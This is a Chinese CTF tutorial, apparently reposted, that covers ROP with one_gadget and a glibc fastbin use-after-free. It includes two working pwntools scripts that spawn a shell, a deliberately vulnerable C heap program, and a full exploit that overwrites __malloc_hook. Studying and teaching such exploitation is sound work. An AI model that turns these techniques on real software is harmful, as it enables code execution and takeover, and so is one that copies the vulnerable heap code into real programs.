内容简介:概述: 通过一道简单的ROP题目理解One_gadget的工作原理,之后利用其提供的ROP链实现堆的UAF漏洞。堆溢出作为CTF的pwn一大题型,非常值得研究。首先要介绍一些两个工具 RopGadget和One_gadget.
概述: 通过一道简单的ROP题目理解One_gadget的工作原理,之后利用其提供的ROP链实现堆的UAF漏洞。堆溢出作为CTF的pwn一大题型,非常值得研究。
本篇文章是用于有一定栈溢出,并且对堆的利用感兴趣的小伙伴。同时也欢迎各位师傅不吝赐教。
0x01一道简单的ROP题
准备工具:
首先要介绍一些两个工具 RopGadget和One_gadget.
都是用来寻找的ROP链的,其中RopGadget主要是寻找可以供我们自由搭配的ret链。
而One_gadget更为方便,找到的链都是只要调用就直接可以拿 shell 的。
使用之前需要知道程序使用的libc版本,本地程序可以在gdb中使用vmmap查看。
/lib/i386-linux-gnu/libc-2.23.so
$ cp /lib/i386-linux-gnu/libc-2.23.so libc-2.23.so #放到当前目录,方便调试。
这两个 工具 语法一般为
RopGadget —binary /lib路径/libc版本 —only “pop|ret”| grep 寄存器
One_gadget /lib路径/libc版本
One_gadget则更加方便,只需要知道程序的基址,并且满足下面的条件(例如第一个链 [esp+0x28]==NULL),就能自动生成ROP链。
题目分析:
主函数没有什么漏洞,于是查看一下pwn函数,read函数有一个非常明显的栈溢出。并且题目还泄露除了read的地址,这样即使开了ASLR也能获得基地址。非常明显地ROP利用。
#泄露这个部分本身也需要构造ROP,但是题目降低了难度,直接提供了。
再查看一下保机机制,发现只开了NX(本机还开了ASLR)。没有开CANARY,这样基本上只需要使用ROP就行了。
ROP解法一
#!/usr/bin/env python2 from pwn import * #libc = ELF('/lib32/libc-2.27.so') libc=ELF('/lib/i386-linux-gnu/libc-2.23.so') p = process('./rop32') #gdb.attach(p,'b execve nc') p.recvuntil('you:') #获取基址 libc_base = int(p.recvuntil('n'),16) - libc.symbols['read'] print libc_base #计算/bin/sh和execve的地址 libc_bin_sh = libc_base + libc.search('/bin/sh').next() libc_execve = libc_base + libc.symbols['execve'] #构造ROP链 send = 'a' * 0x3e + p32(libc_execve) + p32(0) + p32(libc_bin_sh) + p32(0) * 2 p.sendline(send) p.interactive()
除了使用自己构造ROP链,还可以使用one_gadget查找出的gadget地址。
ROP解法二
#!/usr/bin/python2.7 from pwn import * libc=ELF('libc-2.23.so') p=process('./rop32') #gdb.attach(p) #context.log_level='debug' p.recvuntil('let me help you:') libc_base=int(p.recvuntil('n'),16)-libc.symbols['read'] print "libc_base="+hex(libc_base) One_gadget=libc_base+0x3ac5e #from one_gadget libc-2.23.so payload="A"*0x3e+p32(One_gadget) p.sendline(payload) p.interactive()
经过上面测试,可以发现,one_gadget是只需要一个地址就能完成getshell的。这种特性在堆溢出中非常重要。所以one_gadget在堆溢出中更加经常被使用。
0x02 UAF漏洞利用
UAF全称Use After Free
利用的是修改被Free的空间指针,达到任意代码执行的目的。
需要掌握的两个调试技巧:
1.$ set {unsigned char} 0x555555757420 =0x70 #修改内存
2.Ctrl+c#gdb中断程序
漏洞代码:
#include <stdio.h> #include <ctype.h> #include <string.h> #include <stdlib.h> #include <unistd.h> void helpinfo() { printf("0: exitn1: mallocn2: writen3: readn4: freen"); } int main() { long action; char *buf[20]; long len; long t,i; setbuf(stdout, NULL); // alarm(10); printf("Welcome to CTFn"); printf("read:%pn",&read); helpinfo(); while(1) { scanf("%ld",&action); switch(action) { case 0: printf("GoodBye!n"); return 0; break; case 1: // malloc printf("index:"); scanf("%ld",&t); if(t>=21 || t<0) { printf("out of range!n"); break; } buf[t] = malloc(32); #分配32个字节 printf("result: %pn",buf[t]); break; case 2: // write printf("index:"); scanf("%ld",&i); if(i>=21 || i<0) { printf("out of range!n"); break; } printf("length to write:"); scanf("%ld",&len); read(0,buf[t],len); printf("OK!n"); break; case 3: // read printf("index:"); scanf("%ld",&i); if(i>=21 || i<0) { printf("out of range!n"); break; } printf("length to read:"); scanf("%ld",&len); write(1,buf[t],len); printf("OK!n"); break; case 4: // free printf("index:"); scanf("%ld",&t); if(t>=21 || t<0) { printf("out of range!n"); break; } free(buf[t]); printf("OK!n"); break; default: helpinfo(); break; } char c; do { c = getchar(); } while (!isdigit(c)); ungetc(c, stdin); } return 0; }
Glibc分析:
先来通过调试程序,理解堆内存分配方式。
#通过阅读漏洞源码可知,每次分配32个字节(0x20)
两次分配的地址分别是0x555555757420和0x555555757450
两者之间是相差0x30字节(而不是0x20)观察0x555555757420-0x10就能发现,对内存前面会0x8个字节用来存放堆块的信息(如这里每个堆块的头都包含0x31这个数字)
所以堆块分布为 堆块0:{ {头部:0x555555757418-~1f} 0x555555757420->~47 }
堆块1:{ {头部:0x55555575748-~4f} 0x555555757450->~70 }
接下来将两个堆内存free掉。
首先Free掉第一个内存,但是查看堆空间,并没有什么变化。
Free只是一个标志,并不会修改内存空间。
被Free掉内存地址会被保存在一个地方,留给下次malloc申请时候使用。
但是观察内存中并没有保存任何数据#剧透一下实际上是被保存在libc的某一个地方。
接下来Free掉第二个内存。发现被Free掉的内存,存储了这块内存指向的下一块内存。
再次申请一下就会发现 ,第二次申请会申请到这个地址存储的地址。
#第一次申请申请到的地址之前被存储在了glibc的某处。
#研究过glibc堆分配机制就会知道这是fast bin#我们会在下面给出原理分析。
FastBin分析
大概格式就是如下图所示,fastbins是一条链表(红色)。被free的chunk块,如果会根据大小分类,同一大小的会被fd指针串在一起(绿色)。第一个被free的内存块chunk,地址是存储在fastbin中的,第二个chunk被free时候,fastbin中存储的上一个chunk的地址会被保存到第二个chunk的fd中,而fashbin中存储的地址则是第二个chunk的。相当于链表的头插法
如果malloc,就是free的逆向。每次malloc就删去链表头。就不浪费篇幅了。
如果在再次malloc申请之前,把这个fd内存的数据修改掉会怎么样呢。
使用命令 set修改内存数据
set {unsigned char} 地址=0x10 #修改一个字节(char)数据为0x10
再次申请,第一次申请是正常的。第二次申请,却申请了我们指定的地址+0x10 #这就成功改变了堆的申请地址。
利用原理:
我们成功申请了一块内存到我们指定的位置。配合上这道题的write,就能完成任意地址任意数据的写入。
这里还需要介绍一个,函数叫做__malloc_hook,在libc中。每次malloc调用之前,都会被这个函数hook,所以,我们这次利用的思路就是将这个malloc_hook内部覆盖为one_gadget的地址。然后再调用一次malloc,就会自动弹出shell。
获取参数:
所以我们需要找到 malloc_hook函数的地址
将libc文件放入IDA中 #注意这道题的libc和上一题不同
查看view ->export导出文件
能够获取malloc_hook的地址为0x1B2768
如果开启了ASLR,还需要获取read的地址,使用程序开头泄露的read地址,用来计算基址。可以通过IDA直接查询,就不细说了。
脚本编写:
下面出漏洞利用脚本和分析,通过阅读exp也能提升对漏洞的理解。
---------Exp.py----------- #!/usr/bin/python2.7 from pwn import * context.log_level = 'debug' p=process('./heap') p.recvuntil('read:') libc_read = int(p.recvline(),16) def malloc(index): p.sendline('1') p.recvuntil('index:') p.sendline(str(index)) p.recv() def free(index): p.sendline('4') p.recvuntil('index:') p.sendline(str(index)) p.recv() def write(index,data): p.sendline('2') p.recvuntil('index:') p.sendline(str(index)) p.recvuntil('to write:') p.sendline(str(len(data))) p.sendline(data) p.recv() #先申请两块内存,然后释放。 malloc(0) malloc(1) free(0) free(1) base_addr=libc_read - 0xF7250 malloc_hook_addr = base_addr + 0x1B2768-0x21 #malloc_hook的地址-0x21#防止检查机制 gadget = base_addr + 0x3ac5e #将malloc_hook的地址写入被free的内存1中 #内存数据没有被删除,只是标记的被free write(1,p64(malloc_hook_addr)) malloc(1) malloc(0) #申请第二块内存,会读取内存1中存储的指针。指针此时已经被标记为malloc_hook的位置。 write(0,'1'*0x21 + p64(gadget)) #向内存块中写入gadget #此时的内存0是malloc_hook地址-0x21。 #再次申请内存,malloc会调用malloc_hook函数,所以就会执行gadget。拿到shell p.sendline('1') p.recvuntil('index:') p.sendline(str(9)) p.interactive()
总结:
之前一直不敢碰堆溢出漏洞,每次开始读glibc分配内存就会觉得非常枯燥。所以一直都没有尝试,直到大佬和我讲,先动手调试,调着调着就会了。果然,实际尝试一遍了之后,发现实际堆并没有这么复杂,那些理论反而是阻碍我学习的主要原因。
调试这个漏洞的时候遇到很多问题,直到最后我自己的服务器都没有里都没有利用成功(可能是环境问题),都是在别人的电脑里实现的。不过遇到很多问题,反而让逼着我去啃glibc的原理,反而学会了很多东西。
所以,给初学者一点建议,学习漏洞利用,一定要多调试,在调试的过程中加固对理论的理解。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- Linux kernel 4.20 BPF 整数溢出-堆溢出漏洞及其利用
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- IoT上的缓冲区溢出漏洞
- WhatsApp缓冲区溢出漏洞分析
- 网络安全基础,缓冲区溢出漏洞解析
- Vivotek远程栈溢出漏洞分析与复现
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。